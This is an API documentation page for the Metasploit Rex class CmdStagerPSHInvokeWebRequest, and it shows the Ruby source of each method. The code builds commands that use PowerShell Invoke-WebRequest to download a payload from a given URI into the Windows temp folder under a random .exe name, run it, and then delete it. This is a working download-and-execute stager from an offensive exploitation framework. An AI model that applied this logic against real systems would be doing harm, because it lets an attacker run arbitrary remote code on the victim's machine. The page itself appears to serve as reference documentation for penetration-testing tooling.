Class: Rex::Exploitation::CmdStagerPSHInvokeWebRequest
Instance Method Summary
collapse
#compress_commands, #encode_payload, #generate_cmds, #initialize, #parts_to_commands, #setup, #slice_up_payload, #teardown
Instance Method Details
#cmd_concat_operator ⇒ Object
42
43
44
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 42
def cmd_concat_operator
' & '
end
|
#generate(opts = {}) ⇒ Object
13
14
15
16
17
18
19
20
21
22
23
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 13
def generate(opts = {})
if opts[:payload_uri].nil?
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
end
opts[:temp] ||= '%TEMP%'
opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
@payload_path = "#{opts[:temp]}\\#{opts[:file]}"
super
end
|
#generate_cmds_decoder(opts) ⇒ Object
33
34
35
36
37
38
39
40
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 33
def generate_cmds_decoder(opts)
cmds = []
cmds << @payload_path
cmds << "del #{@payload_path}" unless opts[:nodelete]
cmds
end
|
#generate_cmds_payload(opts) ⇒ Object
25
26
27
28
29
30
31
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 25
def generate_cmds_payload(opts)
cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"
["powershell.exe -c #{cmd}"]
end
|
#http? ⇒ Boolean
5
6
7
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 5
def http?
true
end
|
#user_agent ⇒ Object
9
10
11
|
# File 'lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb', line 9
def user_agent
/WindowsPowerShell/
end
|